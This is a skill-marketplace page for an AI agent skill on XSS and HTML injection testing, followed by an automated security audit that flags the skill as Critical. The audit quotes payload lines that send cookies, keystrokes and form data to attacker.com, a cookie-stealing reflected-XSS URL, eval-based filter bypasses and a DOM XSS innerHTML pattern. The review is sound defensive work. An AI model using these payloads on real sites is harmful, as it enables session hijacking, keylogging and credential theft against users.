Skills xss-html-injection

📦

xss-html-injection

Name: xss-html-injection
Author: sickn33

v1.1 Content revision r1 Critical ⚡ Contains scripts⚙️ External commands🌐 Network access📁 Filesystem access

Assess XSS and HTML Injection Risks

Client-side injection flaws can expose sessions, account data, and user trust. This skill helps authorized testers structure XSS assessments with clear remediation guidance.

Supports: Claude Codex Code(CC)

⚠️ 38 Poor

Do not auto-install this skill.

The canonical policy requires operator review before any installation action.

Install with my Agent

Copy this request to your Agent. It includes the canonical Skill page and manifest.

Agent request

Review the Skillstore skill "xss-html-injection" from https://skillstore.io/skills/sickn33-xss-html-injection.md and its manifest at https://skillstore.io/api/skills/sickn33-xss-html-injection/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Your Agent should still show its plan and request any confirmation required by the security policy.

Agent-readable resources

Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.

Markdown detail GET /skills/sickn33-xss-html-injection.md Signed manifest GET /api/skills/sickn33-xss-html-injection/manifest Signed lockfile GET /api/skills/sickn33-xss-html-injection/lockfile

Test it

Using "xss-html-injection". A search page reflects the query value in the page heading without visible encoding.

Expected outcome:

The output identifies reflected XSS risk, lists safe validation evidence, explains user impact, and recommends context-aware output encoding.

Using "xss-html-injection". A profile bio is stored and shown to other signed-in users after submission.

Expected outcome:

The output classifies stored XSS risk, notes affected roles, suggests proof collection, and recommends sanitization plus CSP hardening.

Using "xss-html-injection". Frontend code reads the URL fragment and writes it into a welcome message.

Expected outcome:

The output flags DOM XSS risk, traces the source-to-sink path, and recommends text-only insertion or a trusted sanitizer.

Security Audit

Critical

v5 • 7/7/2026 Open versioned report

Most shell-command detections are false positives caused by Markdown code fences, but the skill contains confirmed high-risk XSS exploit content. It includes credential theft, keylogging, session hijacking, phishing form injection, filter bypass, and victim delivery guidance. This should not be published without removing offensive exploitation and data-exfiltration instructions.

Files scanned

505

Lines analyzed

Review items

False positives ignored

Confirmed security concerns (9)

Critical

SKILL.md:130

Certificate/key files

new Image().src='http://attacker.com/log?k='+e.key;

Although the detector label is certificate-related, the line captures keystrokes and sends them externally. That is a real sensitive-data theft risk.

Critical

SKILL.md:127

Keylogger keywords

The section explicitly introduces keylogger injection and the following lines show keystroke exfiltration. This is a clear credential theft capability.

Critical

SKILL.md:121-145 SKILL.md:372-390 SKILL.md:430-438

Credential Theft and Session Hijacking Guidance

The skill instructs testers to create payloads for cookie stealing, keylogging, session hijacking, and phishing forms. These examples can enable credential theft outside an authorized lab.

The cited sections explicitly describe cookie theft, keylogging, session hijacking, phishing, and exfiltration to attacker-controlled endpoints.

High

SKILL.md:328

Base64 decode

The base64 decode is paired with eval inside an XSS payload. This is actionable obfuscation for bypassing filters.

High

SKILL.md:375

Base64 encode

new Image().src='http://attacker.com/c='+btoa(document.cookie);

The base64 encode is used on document cookies before sending them to an attacker-controlled endpoint. This supports concealed session data exfiltration.

High

SKILL.md:172-180 SKILL.md:454-459

Social Engineering Delivery Guidance

The skill gives delivery methods for reflected XSS, including phishing emails, social media distribution, URL shorteners, QR codes, and redirect chains. This expands testing guidance into victim-delivery tactics.

The cited lines list concrete victim delivery channels and an example delivery action, not only defensive validation steps.

High

SKILL.md:277-328 SKILL.md:477-491

Filter and CSP Bypass Guidance

The skill provides bypass techniques for filters and Content Security Policy, including encoding, obfuscation, and JSONP-based CSP bypass examples. This can help evade defensive controls.

The cited sections are explicitly labeled as bypass techniques and show methods for avoiding filters and CSP restrictions.

Medium

SKILL.md:309

Unicode escape sequence

The Unicode escape sequence is presented as an XSS filter-bypass technique. It is exploit guidance, although it is not executed by the skill itself.

Show all 9 confirmed findings

Medium

SKILL.md:312

Unicode escape sequence

The Unicode escape sequence is presented as an XSS filter-bypass technique. It is exploit guidance, although it is not executed by the skill itself.

Capability review items (31)

These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.

Critical

SKILL.md:136

Fetch API call

fetch('http://attacker.com/capture',{

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:382

Fetch API call

fetch('https://attacker.com/log',{

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:124

Hardcoded URL

document.location='http://attacker.com/steal?c='+document.cookie

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:130

Hardcoded URL

new Image().src='http://attacker.com/log?k='+e.key;

This line sends captured keystrokes to an attacker-controlled endpoint. It is actionable keylogging and credential theft guidance.

Critical

SKILL.md:136

Hardcoded URL

fetch('http://attacker.com/capture',{

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:375

Hardcoded URL

new Image().src='http://attacker.com/c='+btoa(document.cookie);

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:382

Hardcoded URL

fetch('https://attacker.com/log',{

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:434

Hardcoded URL

i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

Critical

SKILL.md:456

Hardcoded URL

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do

This line shows an XSS payload sending cookies or browser storage to an attacker-controlled endpoint. That is actionable session theft and data exfiltration guidance.

High

SKILL.md:195

Dynamic code evaluation with eval()

eval()

This line identifies a dangerous DOM sink used for XSS exploitation. It is not executed by the skill itself, but the surrounding workflow uses these sinks for exploit development.

High

SKILL.md:319

Dynamic code evaluation with eval()

This line provides an obfuscated XSS payload that uses dynamic JavaScript execution. It is actionable filter-bypass exploit guidance, even though it is documentation rather than local runtime code.

High

SKILL.md:328

Dynamic code evaluation with eval()

This line provides an obfuscated XSS payload that uses dynamic JavaScript execution. It is actionable filter-bypass exploit guidance, even though it is documentation rather than local runtime code.

High

SKILL.md:198

Dynamic function constructor

Function()

This line identifies a dangerous DOM sink used for XSS exploitation. It is not executed by the skill itself, but the surrounding workflow uses these sinks for exploit development.

High

SKILL.md:190

document.write injection

document.write()

This line identifies a dangerous DOM sink used for XSS exploitation. It is not executed by the skill itself, but the surrounding workflow uses these sinks for exploit development.

High

SKILL.md:467

innerHTML assignment (XSS risk)

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

This example writes URL-fragment data into innerHTML without sanitization. It demonstrates a concrete DOM XSS vulnerability pattern.

High

SKILL.md:145

Hardcoded URL

This line uses an attacker-controlled endpoint for phishing, form capture, or page overlay content. It enables credential harvesting beyond safe validation.

High

SKILL.md:246

Hardcoded URL

This line uses an attacker-controlled endpoint for phishing, form capture, or page overlay content. It enables credential harvesting beyond safe validation.

High

SKILL.md:253

Hardcoded URL

input[value^="a"]{background:url(http://attacker.com/a)}

This CSS injection example sends value-dependent requests to an attacker-controlled endpoint. It demonstrates data exfiltration through browser resource loads.

High

SKILL.md:254

Hardcoded URL

input[value^="b"]{background:url(http://attacker.com/b)}

This CSS injection example sends value-dependent requests to an attacker-controlled endpoint. It demonstrates data exfiltration through browser resource loads.

High

SKILL.md:258

Hardcoded URL

This line uses an attacker-controlled endpoint for phishing, form capture, or page overlay content. It enables credential harvesting beyond safe validation.

High

SKILL.md:472

Hardcoded URL

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

This attack URL demonstrates DOM XSS that reads document cookies. Even without a separate exfiltration endpoint, it shows sensitive session exposure.

High

SKILL.md:488

Hardcoded URL

This URL is used as a CSP bypass example through a trusted JSONP endpoint. It provides guidance for evading a defensive browser control.

Medium

SKILL.md:194

insertAdjacentHTML (XSS risk)

element.insertAdjacentHTML()

This line identifies a dangerous DOM sink used for XSS exploitation. It is not executed by the skill itself, but the surrounding workflow uses these sinks for exploit development.

Medium

SKILL.md:160

Hardcoded URL

https://target.com/search?q=<script>alert(document.domain)</script>